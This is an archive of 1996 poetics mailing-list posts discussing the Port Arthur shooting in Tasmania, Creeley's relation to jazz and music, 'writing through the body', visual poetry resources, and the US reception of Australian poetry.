I can't believe what happened at Port Arthur, send deep condolensces-- I had tea at that little cafe a couple of years ago (w/ TT.O, Lauren Williams, Eric Beach as tour guides during the Salamanca fest.), walked around the prison, was mortified by the kitschy little sailboat in the museum-- "Port Arthur, place of misery." I remember Hobart and Tasmania on the whole as a safe place to travel , the last place on earth where hitchhiking is fun not terrible. So I'm sad about the shooting.

They're calling this the first massacre to happen there. But it isn't at all, as any Koori or half-decent historian can tell us.

This stuff happens here more often than not (I walk into Mac Donalds expecting to get shot, actually); I hope it doesn't become common to Tassie.
Regards,
Laura

P.S. Got 24 Hours as well as Southerly. Both are great!
Chris Mann's coming to Seattle May 21, will perform "I don't hate America, I regret it" at Speakeasy (I expect that's the
piece he'll do).

↑ Index

23. David Baratier
Creeley's Orpheus
Wed 1 May 1996

If you are interested in defining writing through the body in the manner that Charles Alexander suggests, one that is multi-valent, I would suggest _Just Whistle_ by C.D. Wright. If you find language to be an artifice, as Henry Gould suggests, or at least artificial enough to deem an acknowledgement necessary then I'd start out with Toril Moi, preferably Sexual Textual Politics as a primer for some of the universal definitions inherent in the word body's semiotic screen.

Be Well.

David Baratier

↑ Index

24. Alan Sondheim
Re: Tasmania
Wed 1 May 1996

I'm not surprised at all about Tassie. I taught there, married a woman from there, fled from there. I found more hatred there than just about anywhere I've been - hatred even in the wake of the genocide of the aboriginals - hated against gays that was close to unbelievable - hatred against punks, against the new romantics, against anyone different - hatred against Americans. They liked poofter-bashing as relaxation, drinking themselves into oblivion, and the Queen. I have no fond memories from the colonizing colony; I know too many people who were knived.

Alan

↑ Index

25. Chris Stroffolino
Re: all this OPEN LETTER BUSINESS
Wed 1 May 1996

Mr. Wallace raises a good point about social scene vs. aesthetic "bent"-- I think the former causes a lot of walls that are often attributed to the latter (more than the other way around, it seems). For instance, Jeff McDaniel. When I became aware of Jeff, it was through meeting him in a bookstore and a shared enthusiasm about people like BILL KNOT (hardly a slam poet, though he has tangential social connections with the NY SCHOOL--zavatsky, etc.) and even more MFA types like James Tate. Such affinities are evident in his book. And since I've never seen him perform, I can't say much about his SLAM side. But, I'm told he does that way (Bob Holman---I still haven't got to a friend's to watch USOP on TV. so I don't know if McDaniel is there "represented". It will be soon). Anyway, so I consider him a crossover, or a straddler in that sense. So, I don't know if people actually choose "scenes" or if scenes choose people.....more later, chris

↑ Index

26. henry gould
Re: writing through Creeley's body
Wed 1 May 1996

On Wed, 1 May 1996 10:38:33 -0400 David Kellogg said:
>
>I didn't mean to open the poet-vs.-theorist debate again, being both
>myself. Nor am I interested in subsuming poetry to anything (which to me

>is as ridiculous as subsuming other things to poetry). Shouldn't have
>used the term "base," I suppose. But I question whether anybody is
>capable of fencing off "specifically poetic" from other effects. (Your

I opened the bait can, though. Effects are effects, but theory is something else. Theory is reasoned discourse. Poetry reaches for something further (not all poetry, but poetry in essence). Silence measures human discourse, not the other way around. Word is primordial, sometimes appears as poetry, sometimes as "poetry". Truth-manifestation not subject to argument (though the sceptic is allowed to scratch where it itches). This shows the real value of reasoned discourse. When words reach the inexpressible they are humbled into truth (i.e. our human words are incapable of "arguing" with it). Mayday, Mayday... the letter killeth. The revolutionary was a poet until the explanations came easy. The machinery was all in place. Body language - just can't say - HG people talkin but they just don't know .... and why I love you so <prattle> ...let the good times roll <gossip> mayday, mayday...

↑ Index

27. Pierre Joris
Another Lit-web-page
Wed 1 May 1996

---

this may interest some on this list -- came via the PEN-list -- haven't checked it out myself -- Pierre

The Literary Menagerie
Links for various authors online

http://sunset.backbone.olemiss.edu/~egcash/

========== Pierre Joris | "Form fascinates
when one no longer has the force Dept. of English | to understand force
from within itself. That SUNY Albany | is, to create." -- Jacques Derrida
Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]|
==========

↑ Index

28. Michael Coffey
sestina here goes -Reply
Wed 1 May 1996

thanks, henry, for you kind comment about the sestina; and you're right, that penultimate line is weak. i shld change it, and will.

and yours i liked ("raise a glass to the dizzzy city"!), but like my first transmission, it was received in paragraphs, with no evident line endings. did yours come back to you in proper six line stanzas? perhaps it's just something my system does to text. to fix it, I made double returns after every line, and sent again, and it came through, to me, properly line-broken.

this is just to you, i think, not system wide, though god knows i dont' know my way around this universe, but He ain't helpin'.

↑ Index

29. Jordan Davis
Michael Friedman in the lab
Wed 1 May 1996

but poetry in essence).

That reminds me of Michael Friedman's poem about creating.. what? a new fragrance?

Tomorrow at Poetry City (35 blocks or so from Radio City)

Juliana Spahr & Cathy Bowman

Juliana's great. She shows up on this list from time to time. A book of hers will be published by S&M soon as part of the National Poetry Series.

Cathy's great. She has two books from Gibbs-Smith. From time to time she hosts the poetry spots on NPR's "The All Things Considered Show." She's the auteur-teacher behind what may be the best poetry video ever, "The Great American Roller Coaster Poem."

It's at Teachers & Writers, 5 Union Sq W, NYC, at 6:30 on Thursday. It's free, and we'll have food and drink.

--Jd

↑ Index

30. k.a. hehir
blocking poems
Wed 1 May 1996

hello, in response to another thread David Kellogg made passing mention of the "visual design of words on a page". i would appreciate any directions to work done on this. i have a vague memory of a movie i saw in high school about WCW and his idea of page as canvas.

thanks,
kevin

ps. the visual design of this page was not to illustrate a point but rather

the result of a callow typist

"for such a smooth dreaming boy,
 eighteen and buttocks like sleeping kittens" Dawn MacDonald

↑ Index

31. Mark Roberts
Re: XXXX.
Wed 1 May 1996

> *For a while they were selling those yellow cans of XXXX over here, but I havent seen it lately. I guess everyone here found out what everyone there knows.*
>
> *I prefer Cooper's Real Ale. And that beer from Tasmania with the weird animal on the label.*

Cascade. Though Tasmania is not a happy place to be at the moment. In fact the whole country seems to be in state of shock.

_____
Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

↑ Index

32. Daniel Salmon
should be on back of xxxx can
Wed 1 May 1996

Did anybody see this. A reuter piece from london in the NZ Herald or local raag. Abridged by me.

Title "POETS TOO CRAZY TO GET SO BLUE'

POets are crazier than authors or playwrights, but less likely to becamo depressed or alcoholics, a British psychiatrist reported yesterday. It could be because of the way their imaginations work, Dr Felix Post...said. Dr POst examined 100 famous MALE brit & US writers and poets by looking at their biographies. Many good bio's provide enough detail to do an accurate psych. analysis - "They've got to be really good biographies" Post sd. His previous study found writers more likely to have mental or emotional probs. than other people like scientists or POLITICIANS. BUT POETS did not follow the trend "the poets were less unstable and had fewer depressions than others" He said poets had more mood swings and manic depressions requiring hospitalisation. But they were less likely than writers... to die young or become promiscuous. Only 31% of the poets were alcoholics compared to 54% of playwrights. ...writing of any sort is linked to poor mental health... psychosis or depression evident in 80% of poets 80.5% novelists & 87.5% playwrights. HALF THE POETS FAILED TO EVER ACHEIVE "COMPLETE SEXUAL UNION", while 42% of playwrights known for promiscuity... Dr Post sd it could be down to personality differences or the way writers or poets work. "I speculate that it is the imagination of novelists and playwrights, who are far more concerned with intimate human fate - they've got to identify and empathise with they're characters", DR POSt said "They have greater stress in their writing." AS FOR THE POETS "they don't deal with human fate. They JUST DESCRIBE THEIR REligious feelings or their love." DR POst said his study did not include women writers as women tend to have different patterns of mental illness from men and his study period STARTING IN 1840, HAD TOO FEW WOMEN WRITERS. (would there have been more had it started earlier)

END.

i wonder there will soon be a POet box to tick on medical insurance forms.

Just though you might be amused / or something.

Dan. NZ.

↑ Index

33. Steve Carll
Re: blocking poems
Wed 1 May 1996

At 04:01 PM 5/1/96 -0400, Kevin Hehir wrote:
>hello,
>in response to another thread David Kellogg made passing mention of the
>"visual
>design of words on a page". i would appreciate any directions to work
>done on this. i have a vague memory of a movie i saw in high school
>about WCW and his idea of page as canvas.

Milton A.Cohen has a book out called _Poet and Painter: The Aesthetics of E.E. Cummings' Early Work_, that explores Cummings' lifelong fascination with intertwining the two (he did both quite well).

****
Steve Carll
[redacted]

"--A sound of waters bending astride the sky
Unceasing with some Word that will not die...!"
--Hart Crane
****

↑ Index

34. Steve Carll
Re: Poets and Writers: A Definitive Scientific Study (fwd)
Wed 1 May 1996

Hmmm is right, Gab. If they only studied "famous" poets, how do they know it's not fame itself, or something associated psychologically with fame, that causes these problems? And what's that about poets not dealing with human fate?

Steve

At 04:44 PM 4/30/96 -1000, Gab wrote:
>Hmmm. Chuckle? Poets not writers as well? Gab.
>
>>
>> ^Poets less depressed than writers, study finds@>> LONDON, April 30 (Reuter) - Poets are crazier than authors
>> or playwrights, but less likely to become depressed or
>> alcoholics, a British psychiatrist reported on Tuesday.
>> It could be because of the way their imaginations work, Dr
>> Felix Post, who wrote the study in the British Journal of

>> Psychiatry, said.
>> Post examined the cases of 100 famous British and American
>> writers and poets by looking at their biographies. Many good
>> biographies, he said, provided enough detail to do an accurate
>> psychiatric analysis.
>> ``They've got to be really good biographies,'' Post, a
>> retired psychiatric consultant, said in an interview.
>> He found in a previous study that writers, as a group,
>> tended to have more mental and emotional problems than other
>> people -- politicians or scientists, for example.
>> But poets did not seem to follow the trend. ``The poets were
>> less unstable and had fewer depressions than the others.''
>> Careful analysis confirmed this. The poets, including Edgar
>> Allan Poe and Robert Graves, had more mood swings and manic
>> depressions requiring hospitalisation.
>> But they were less likely than the writers, who included
>> Ernest Hemingway and Jack London, to die young or be
>> promiscuous. Only 31 percent of the poets were alcoholics,
>> compared to 54 percent of playwrights.
>> It seems writing of any sort is linked to poor mental
>> health. Psychosis or depression was evident in 80 percent of
>> poets, 80.5 percent of novelists and 87.5 percent of
>> playwrights.
>> Half the poets failed to ever achieve ``complete sexual
>> union,'' while 42 percent of playwrights were known for their
>> sexual promiscuity.
>> Post said it could be down to personality differences, or
>> the way writers and poets work.
>> ``I speculate that it is the imagination of novelists and
>> playwrights, who are far more concerned with intimate human fate
>> -- they've got to identify and empathise with their
>> characters,'' Post said. ``They have greater stress in their
>> writing.''
>> As for the poets: ``They don't deal with human fate. They
>> just describe their religious feelings or their love.''
>> Post said his study did not include women writers as women
>> tend to have different patterns of mental illness from men and
>> his study period, starting in 1840, had too few women writers.
>> ^REUTER@>> Reut10:30 04-30-96
>>
>>
>>

>>
>>
>>
>
>

****

Steve Carll

[redacted]

"--A sound of waters bending astride the sky
Unceasing with some Word that will not die...!"
--Hart Crane
****

↑ Index

35. Jondi Keane

writing threw the body

Wed 1 May 1996

In following the thread, "through", I found Joshua Schuster's history of the take(s) on the body real good but more what we should read and not perhaps what we might do, because poetics means that the body is also on the take. Hence the addition by D. Kellog of Elaine Scarry and Foucault to which I would add Anne Hollander's "Seeing through clothes". the "through" here being that the depiction of bodies was/is in-formed by the current cut and paste idea of clothes, and implies media and transmission, and so too "through" the body. H.-Gould added: <<An embodied poetics would start by acknowledging that both poets & readers are responding to effects & powers originating in language & nowhere else; that these effects can be symbolized by analogy to the body or the reactions poetry creates, but that if we are talking poetics perhaps we should focus on specifically poetic effects.>> I would suggest that the opposite is more productive: that language, discourses, formal systems and logics arose from the body finding/making (pro-finding, profound-ing) a relation to its own thinking. This is a question for Poetics: How do I work this thing. It is a question of engagement and AEffection. The runnings back and forth (of discourse(s), show an ORIENTATION, each discourse is an orientation of the body towards its "expressions" (in the medical sense). Writing through the body foregrounds the orientation that is aeffected and in-formed by the bodily. Thinking produces experience, different discourses produce likewise different aeffectations, the body produce experience that the brain thinks about. The body also thinks for itself. The INTERESTING THING is that there is a willful confusion of these, they approximate and overlap strongly and because they do, they

create the possibilities of other, 2nd, 3rd, and even centered person(s). Giving voice (an interesting bodily problem considering all the work that actors and singers do just on disposition, the fact that over 200 muscles connect into the throat and controls the "lips of the voice" means that the way the muscles are connected hold or flex, lengthen, harden, walk sit, etc. effect the finding of the physical instrument of the voice.) and then giving voice to a fictive, imagined, projected, physical, internally isolated, prosthetic or socially constructed body, is the search and research of that which shows up only as the poetic effects. It is true this is all we see, but we read also through our sense of poetics, not just through our sense of text. POETICS IS NOT ABOUT POETRY, andit is this relation of body to its thoughts that needs a Poetics. Discourse follows by "Writing through the body"or not. Foregrounding (the body) does not have to be a prioritizing, it can, and in this case does, imply loss or negligence as a source (real or other-wise) w/o making it foremost. Our dispositions have grown acustomed and our taste adjusted to theoretical, literary & scientific voices (re: D.Byrd post on "taste for theory" some time ago) more than, for example, an all-flesh (pancreatic) one. But,this is life in the eyes ears nose mouth and the legacy of sensations produced by reflective values.

Jondi Keane

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36. Wystan Curnow

Re: writing through Creeley's body

Wed 1 May 1996

David, yes. Speech is a mouth/ I hate speech. mmmmmmm..... Projective Verse, as with projective painting, as with projective jazz, bebop, was/is to be produced/received 'through the body.' And is by those means and to that extent writing intent on refusing the individualism you refer to, and Joshua Schuster's subject center. At least that's what I've always thought, but I do constantly encounter 'misreadings' which state the opposite. Henry's 'clarification' makes for a difference; for argument's sake there would be WRITING through the body, or READING through the body. (I have to say,though, the whole expression has worn out its welcome with me,'writing through the body' sounds like some awful morphing activity, like what happened to smurfs what got left on the electric fire.) As to Creeley 'n jazz; he has himself over the years spoken, in letters to Olson, in several interviews, at length and more to the point with characteristic particularity about the relation of behop esp. to his own writing. I recall discussions of the' body language' of the musicians, close readings of Parker, of Monk and 4 beats, of the records to which specific chapters of The Island were written to, and a long section of the recent Sagetreib interview.... Wystan

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37. JOEL LEWIS
Re: Creeley::Boulez??
Wed 1 May 1996

An interesting place to go w/ the Creeley & music discussion is the album HOME an ECM album recorded in the early 80's. Steve Swallow (an electric bassist then associated w/ gary Burton & now w/ Carla Bley) took a series of poems and set them to music. At at St. Amark's talk at that period, Creeley praised the collaboration & noted that Swallow respected his line breaks and stanzas -- rare when compsoers tackle poetry. There is also a long piece where Lacy set A Creeley text to music(on hat Hut).Creeley's early poems provide a fascinating take on a poet's responce to the burgeoning bop scene going round him (see his letters to Olson at the time), this was a period of intense listening for Creeley... as far as classical music connection, I often think of a link between Cage's pre-aleatoric piano pieces (late 30's -early '40's) and Creeley's poetry. Where they at Black Mountain at the same time???

Joel Lewis

↑ Index

38. Gary Hawkins
Re: Tasmania
Thu 2 May 1996

> *I'm not surprised at all about Tassie. I taught there, married a woman from there, fled from there. I found more hatred there than just about anywhere I've been - hatred even in the wake of the genocide of the aboriginals - hated against gays that was close to unbelievable - hatred against punks, against the new romantics, against anyone different - hatred against Americans. They liked poofter-bashing as relaxation, drinking themselves into oblivion, and the Queen. I have no fond memories from the colonizing colony; I know too many people who were knived.*
>
> *Alan*
>
> *Alan & others*
>
> *Of course Tasmania is a conservative state with a background similiar to many other colonised areas (I mean the rest of Australia has a similiar (hidden) history of open warfare against Aborignal people. But then I recall a long running debate on this list about the certain mid western US states which sound like they contain many of the same contradictions which abound in Tasmania. Tasmania does have the most repressive anti gay laws in*

> *Australia but they also have a strong and growing gay lobby group which have openning challenged the laws. They have perhaps the strongest conservation movement in the country and the Greens currently hold the balance of power in State Parliment. There is also a thriving arts community centred around Hobart which puts many larger Australian centres to shame.*
>
> *I wonder if the hatred you speak about is really more real than the hatred that exists just below the surface in major centres (such as Sydney and New York??).....Its a difficult question trying to come to terms with a culture which results in such a tradegy as the Port Arthur shooting - at the same time we have to question a media which allows such an event to overshadow all the other ongoing tradegies around the world which result in many more deaths than an isolated shooting.....*
>
> *Anyway as you can tell I am still feeling numb.. the local media has been full of the shooting for days. The gun control debate has resurfaced and the gun lobby is running scared (at the same time there has been a rush to buy semi automatic rifles in case there is a ban).....*
>
> _____
> *Mark Roberts*
> *Student Systems Project Officer*
> *Information Systems*
> *University of Sydney NSW 2006 Australia*
> [redacted]
> *PH:(02)*[redacted]
> *FAX:(02)*[redacted]

Alan,

Any American going abroad who does not have a knife held to the throat at some point simply because they are American misses out on one of most eye-opening experiences travel offers-- in Tasmania one bloke shouted he was going to "kill an American (me) for Peace." I talked him out of it, bought him a beer-- he'd been sent to Vietnam, I found out in our conversation. An Australian in Vietnam. Of course they hate Americans.

An "ocker" can hold a candle to our own brand of bigot, yes, however the American left and artists have a long way to go to even touch the coattails of their Australian counterparts-- TT.O., thalia, Chris Mann, ACR, Jas Duke, Lauren Williams, Eric Beach, Carmel Bird (to name a very very small few!) and, in the music scene Penelope Swales (Alanis Morissette, eat yr heart out). On Tasmania alone, that little heart-shaped detail at the bottom of our maps, the number of active youth per capita far supercedes that of the same in the USA. Living directly under the hole in the ozone has its pressures.

So, Alan, maybe the wallaby rissoles didn't appeal, but I think America can learn a lot from the Tasmanian, and the Australian, greens, feminists, writers, artists, poets, and, in simple terms "LEFT."

I shouldn't be surprised that weird people with guns open fire anyplace these days, yes, but the shock's always there.

Regards,
Laura

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39. Susan Schultz
Re: Tasmania
Thu 2 May 1996

I was in Tasmania last month and visited Port Arthur, a stunningly beautiful place with an awful history. I met many kind, generous, and rigorous folks, along with one rather nasty cab driver (though not as nasty as the NYC scam artists I once fell for).

On a literary note, I highly recommend contemporary Australian poetry. I was on a panel at the Salamanca Writers Festival with John Kinsella, Philip Mead, Hazel Smith, and Joanne Burns, all of whom are excellent writers (and performers). In Sydney: Pam Brown, Denis Gallagher, John Tranter, Kate Lilley. There are lots and lots of others. The main problem is that hardly any Australian poetry is published in the USA. This is a real shame, especially since the people I met were all very knowledgeable about American poetry, and Frank O'Hara is something of a cult figure there.

Susan Schultz

↑ Index

40. Joshua N Schuster
Re: writing through Creeley's body
Thu 2 May 1996

Wystan Curnow wrote:
>
> David,
> yes. Speech is a mouth/ I hate speech. mmmmmmm.....
> Projective Verse, as with projective painting, as with projective
> jazz, bebop, was/is to be produced/received 'through the body.' And is
> by those means and to that extent writing intent on refusing the
> individualism you refer to, and Joshua Schuster's subject center. At
> least that's what I've always thought, but I do constantly encounter

> 'misreadings' which state the opposite. Henry's 'clarification' makes
> for a difference; for argument's sake there would be WRITING through the
> body, or READING through the body. (I have to say,though, the whole
> expression has worn out its welcome with me,'writing through the body'
> sounds like some awful morphing activity, like what happened to smurfs
> what got left on the electric fire.)

No wonder people hate speech, since speech has no taste, no sense, just lingers dusty and dead in the casualty of vocality. But is speech impossible to swallow?

I've been chewing on this idea of writing the body (which now, as Wynstan notes, is sounding rather hollow) so I'll just throw up and out some additional comments. But first, to save my theoretical butt I'll conjure up some poetheory w/ Barthes: "One might call "poetic" (without value judgment) any discourse in which the word leads the idea."

First it seems the body can be taken (abducted) as both singular and plural. And if plural, there is a whole panoply of bodies, social, political, perversive. Writing the body does quiver between the personal and impersonal.

Again, I see writing the body as a possible way of embodying anti-subjectivity, an assertion of one's congealing physical presence without necessarily collaborating in self-service. So I find writing the body a way to undermine writing the biography (writing the morgue).

Also re: projective verse and Olson, I just wanted to toss out a mere idea without any extended evidence: I think there are striking similarities between Olson's notion of proprioception and Heidegger's disclosing and dwelling Being. But I have no warrant for that arrest.

(Also unrelated, I just remembered
McCaffery has a great extended passage in _Panopticon_ on the ecstatic polysemic possibilities of writing the body/text, but haven't my copy w/ me.)

bests,
Joshua

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41. Gary Hawkins
Re: Tasmania
Thu 2 May 1996

> *I was in Tasmania last month and visited Port Arthur, a stunningly beautiful place with an awful history. I met many kind, generous, and rigorous folks, along with one rather nasty cab driver (though not as nasty as the NYC scam artists I once fell for).*

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> *were all very knowledgeable about American poetry, and Frank O'Hara is something of a cult figure there.*
>
> *Susan Schultz*

Susan, did you stay at the writer's cottage up above the wharfs?

I read at the Salamanca Festival (fringe) in 91 so it's great to hear it mentioned. I agree that the whole of Australian writing is ignored by the States' distributors; Carmel Bird's name appeared on the back pages of Best Short Stories of 91 but it's impossible to find her work in print over here (few years back I did find "Woodpecker Point" but nothing since). Check out Mark Robert's work on the Aus. Writers on Line (AWOL) webpage and electronic bookshop. http://www.ozemail.com.au/~awol/bookshop1.html . You'll find your mates there.

This may be the only way.

Best Regards,
Laura Hope-Gill @Halcyon.com

↑ Index

42. Gary Hawkins
Re: blocking poems
Thu 2 May 1996

> *At 04:01 PM 5/1/96 -0400, Kevin Hehir wrote:*
> *hello,*
> *in response to another thread David Kellogg made passing mention of the "visual*
> *design of words on a page". i would appreciate any directions to work done on this. i have a vague memory of a movie i saw in high school about WCW and his idea of page as canvas.*
>
> *Milton A.Cohen has a book out called _Poet and Painter: The Aesthetics of E.E. Cummings' Early Work_, that explores Cummings' lifelong fascination with intertwining the two (he did both quite well).*
>
> **********

> *Steve Carll*
> [redacted]
>
> "*--A sound of waters bending astride the sky*
> *Unceasing with some Word that will not die...!*"
> *--Hart Crane*
> **********

Steve.
Sounds to me like you're talking about visual poetry but I may be mistaken.
If so, disregard this.

Few weeks back we had a chat about concrete poetry which spanned the last week of March-- here's a lead from Bob Harrison which seems to suit yr request.
>Hi Charles, yeah I'm still here.
>
>The poetry catalog for the Hermetic Gallery VP show is still available. Costs
>8 dollars. Anybody wants one send me an email with your street address.
Has
>work by:
>
>Dick Higgins
>Irving Weiss
>Daniel Davidson
>Peter Balestrieri
>Steve McCaffery
>Spencer Selby
>Pete Spence
>Crag Hill
>Nico Vassilakis
>John Cayley
>Fernando Aguiar
>Karl Young
>Johanna Drucker
>Leroy Gorman
>John Byrum
>John M. Bennett
> & Susan Smith Nash
>Clemente Padin
>Steve Nelson - Raney
>Bob Grumman
>Hachivi Edgar Heap of Birds
>Karl Kempton

>Thomas Taylor
>Avelino de Araujo
>
>Thanks.
>
>Bob Harrison
>[redacted]

Here's one from Ward Tietz.

> *USA*
>
> *Generator*
> *John Byrum*
> *3203 W. 14th St., Apt. 13*
> *Cleveland, OH 44109*
>
> *Score*
> *Crag Hill*
> *1015 NW Clifford St.*
> *Pullman, WA 99163*
>
> *O.ars*
> *Don Wellman*
> *21 Rockland Rd*
> *Weare, NH 03281*
>
> *Lightworks*
> *Charlton Burch*
> *P.O. Box 1202*
> *Birmingham, MI 48012*
>
>
> *Canada*
>
> *Rampike*
> *Karl Jirgens*
> *95 Rivercrest Rd.*
> *Toronto, Ontario*
> *M6S 4H7*
>
> *CURVD H&Z*
> *jw curry*
> *1357 Lansdowne Ave*
> *Toronto, Ontario.*
> *M6H 3Z9*

Austria

Edition Neue Texte
Heimrad Baecker
In der Stockwiesen 13
A-4040 Linz

Press, publishes mostly concrete poetry (anthologies and some books).

Germany

Christian Scholz
Gertraud Scholz Verlag
Rothenberg, Weinbergstr. 11
D-8501 Obermichelbach

Press, publishes books and CDs of sound poetry.

Australia

Pete Spence
4/27 Alma Grove
St. Kilda 3182
Victoria, Australia

Curates visual poetry mail art show. Last year's show was in various public libraries.

Hungary

Laszlo L. Simon
Mezo u. 12
H-2484 Agard

e-mail: [redacted]

Curated an international visual poetry exhibition in '95, is about to start an electronic magazine. Their URL is http://ludens.elte.hu/~LIFT/

France

Doc(k)s
Philippe Castellin

> *20 rue Bonaparte*
> *F-20 000 Ajaccio*
>
> *Ward Tietz*

If this is what you're looking for, these chaps put you in good stead.
Bests,
Laura
[redacted]

↑ Index

43. Susan Schultz
Re: Tasmania
Thu 2 May 1996

On Thu, 2 May 1996, Mark Roberts wrote:

> *I was in Tasmania last month and visited Port Arthur, a stunningly beautiful place with an awful history. I met many kind, generous, and rigorous folks, along with one rather nasty cab driver (though not as nasty as the NYC scam artists I once fell for).*
>
> *On a literary note, I highly recommend contemporary Australian poetry. I was on a panel at the Salamanca Writers Festival with John Kinsella, Philip Mead, Hazel Smith, and Joanne Burns, all of whom are excellent writers (and performers). In Sydney: Pam Brown, Denis Gallagher, John Tranter, Kate Lilley. There are lots and lots of others. The main problem is that hardly any Australian poetry is published in the USA. This is a real shame, especially since the people I met*
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>
> *Susan Schultz*
>
> *Susan, did you stay at the writer's cottage up above the wharfs?*
>
> *I read at the Salamanca Festival (fringe) in 91 so it's great to hear it mentioned. I agree that the whole of Australian writing is ignored by the States' distributors; Carmel Bird's name appeared on the back pages of Best Short Stories of 91 but it's impossible to find her work in print over here (few years back I did find "Woodpecker Point" but nothing since). Check out Mark Robert's work on the Aus. Writers on Line (AWOL) webpage and electronic bookshop. http://www.ozemail.com.au/~awol/bookshop1.html . You'll find your mates there.*

> *This may be the only way.*
>
> *Best Regards,*
> *Laura Hope-Gill @Halcyon.com*
>
> *Laura*
>
> *Thanks for the plug (AWOL). In fact if anyone is hunting down an Australian poet let AWOL know ([redacted]) even if they don't appear on the bookshop page we might be able to track them down.*
>
> *regards*
>
> *Mark (posting from work - but going home soon)*
> *AWOL [redacted]*
> *http://www.ozemail.com.au/~awol*
>
> ---
> *Mark Roberts*
> *Student Systems Project Officer*
> *Information Systems*
> *University of Sydney NSW 2006 Australia*
> *[redacted]*
> *PH:(02)[redacted]*
> *FAX:(02)[redacted]*

And when you DO contact Mark, ask for the John Tranter and Philip Mead anthology of modern Australian poetry (including the entire oeuvre of Ern Malley), published by Penguin. It's a great introduction.

Susan

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44. landers

Re: POETICS Digest - 30 Apr 1996 to 1 May 1996

Thu 2 May 1996

> *From: Herb Levy <[redacted]>*
> *Subject: Re: Creeley::Boulez??*
>
> *Peter Landers writes:*

> *As far as the musical resemblences go, Taggart uses sound like Phillip Glass while Creeley uses sound like Pierre Boulez. I'll keep all four of them, thank you. :)*
>
> *I think I understand the distinctions you're drawing here, but it's hard for me to imagine hearing Creeley's rhythms in relation to Boulez. He (Creeley) is just too American (in terms of rhythm & vocabulary) to seem as European as Boulez. Perhaps Elliott Carter (though he seems a lot more interested in John Ashbery's work) would be more appropriate, or Milton Babbitt.*
>
> *I'm not complaining about Boulez' work as such, though there are other composers I'm far more interested in (more than Carter or Babbitt, too, for that matter). If I were to make this kind of comparison, I'd probably compare Creeley to one of the more idiosyncratic jazz players, say, Herbie Nichols or Sonny Clark, in the fifties, or Steve Lacy today (if you want to call that jazz).*

ok. so long as you see the point i was making, which is that creeley's music is of a different esthetic from taggart's, as boulez or carter is from glass. Both are very musical to my ear. i don't see the need to restrict parallel's by nationality. and also, to my ear, the long melodic lines of jazz are a lot different from what i hear coming off creeley's page, but i don't know the specific people you mentioned. carter's lines are longer than creeley's, too. olson's more like carter ... this is going nowhere ... ack!

this is an artificial distinction anyway. each is deliciously unique.

enjoy,

Peter Landers
[redacted]

↑ Index

45. **Mark Roberts**
Re: Tasmania
Thu 2 May 1996

> *I'm not surprised at all about Tassie. I taught there, married a woman from there, fled from there. I found more hatred there than just about anywhere I've been - hatred even in the wake of the genocide of the aboriginals - hated against gays that was close to unbelievable - hatred against punks, against the new romantics, against anyone different - hatred against Americans. They liked poofter-bashing as relaxation, drinking themselves into oblivion, and the Queen. I have no fond memories from the colonizing colony; I know too many people who were knived.*

> *Alan*

Alan & others

Of course Tasmania is a conservative state with a background similiar to many other colonised areas (I mean the rest of Australia has a similiar (hidden) history of open warfare against Aborignal people. But then I recall a long running debate on this list about the certain mid western US states which sound like they contain many of the same contradictions which abound in Tasmania. Tasmania does have the most repressive anti gay laws in Australia but they also have a strong and growing gay lobby group which have openning challenged the laws. They have perhaps the strongest conservation movement in the country and the Greens currently hold the balance of power in State Parliment. There is also a thriving arts community centred around Hobart which puts many larger Australian centres to shame.

I wonder if the hatred you speak about is really more real than the hatred that exists just below the surface in major centres (such as Sydney and New York??).....Its a difficult question trying to come to terms with a culture which results in such a tradegy as the Port Arthur shooting - at the same time we have to question a media which allows such an event to overshadow all the other ongoing tradegies around the world which result in many more deaths than an isolated shooting.....

Anyway as you can tell I am still feeling numb.. the local media has been full of the shooting for days. The gun control debate has resurfaced and the gun lobby is running scared (at the same time there has been a rush to buy semi automatic rifles in case there is a ban).....

Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

↑ Index

46. Jordan Davis
I Think of Can; US reception of Aus/NZ writing
Thu 2 May 1996

Yogi,

What little Australian-New Zealand writing that has gotten through to my be-nighted suburb of poetry got through in the pages of the magazine Scripsi. John Tranter crossed over briefly in the late 80s early 90s, some sad amazing poems in the Paris Review I think. Michael Heyward, too. These two though it seems to me are the closest to the New York School of the Australian-NZ scene, n'escafe? A. Curnow's selected pops up from time to time.

DISTRIBUTION! DISTRIBUTION!
and its rhythmic mistress
I THINK I CAN I THINK I CAN,

Droopy

↑ Index

47. Maria Damon
Re: SHMOUISSANCING STEIN
Thu 2 May 1996

emily: karin cope has a book forthcoming from minnesota (i believe) on stein and difference/queerness. it is so anti-identitarian that it doesn't address stein as a lesbian or a "husband," but simply as someone transgressive in every way, "queering" every angle. she's at ===is it u. of montreal? mcgill? not sure. somewhere around there. call u of mn press and find out when the book is due out?--md

↑ Index

48. Steve Carll
Re: Creeley::psych guitar madman??
Thu 2 May 1996

Then there's New York guitar freakout band Mercury Rev's collaboration with Creeley--what's the name of that EP again, Jordan?

Steve

At 11:01 PM 5/1/96 EDT, Joel Lewis wrote:
>An interesting place to go w/ the Creeley & music discussion is the album HOME
>an ECM album recorded in the early 80's. Steve Swallow (an electric bassist then
>associated w/ gary Burton & now w/ Carla Bley) took a series of poems and set
>them to music. At at St. Amark's talk at that period, Creeley praised the
>collaboration & noted that Swallow respected his line breaks and stanzas --rare

>when compsoers tackle poetry. There is also a long piece where Lacy set A
>Creeley text to music(on hat Hut).Creeley's early poems provide a fascinating
>take on a poet's responce to the burgeoning bop scene going round him (see his
>letters to Olson at the time), this was a period of intense listening for
>Creeley... as far as classical music connection, I often think of a link between
>Cage's pre-aleatoric piano pieces (late 30's -early '40's) and Creeley's poetry.
>Where they at Black Mountain at the same time???

****

Steve Carll

[redacted]

"--A sound of waters bending astride the sky
Unceasing with some Word that will not die...!"
--Hart Crane
****

↑ Index

49. David Kellogg
Re: blocking poems
Thu 2 May 1996

On Wed, 1 May 1996, k.a. hehir wrote:

> *hello,*
> *in response to another thread David Kellogg made passing mention of the "visual*
> *design of words on a page". i would appreciate any directions to work*
> *done on this. i have a vague memory of a movie i saw in high school*
> *about WCW and his idea of page as canvas.*

Kevin,

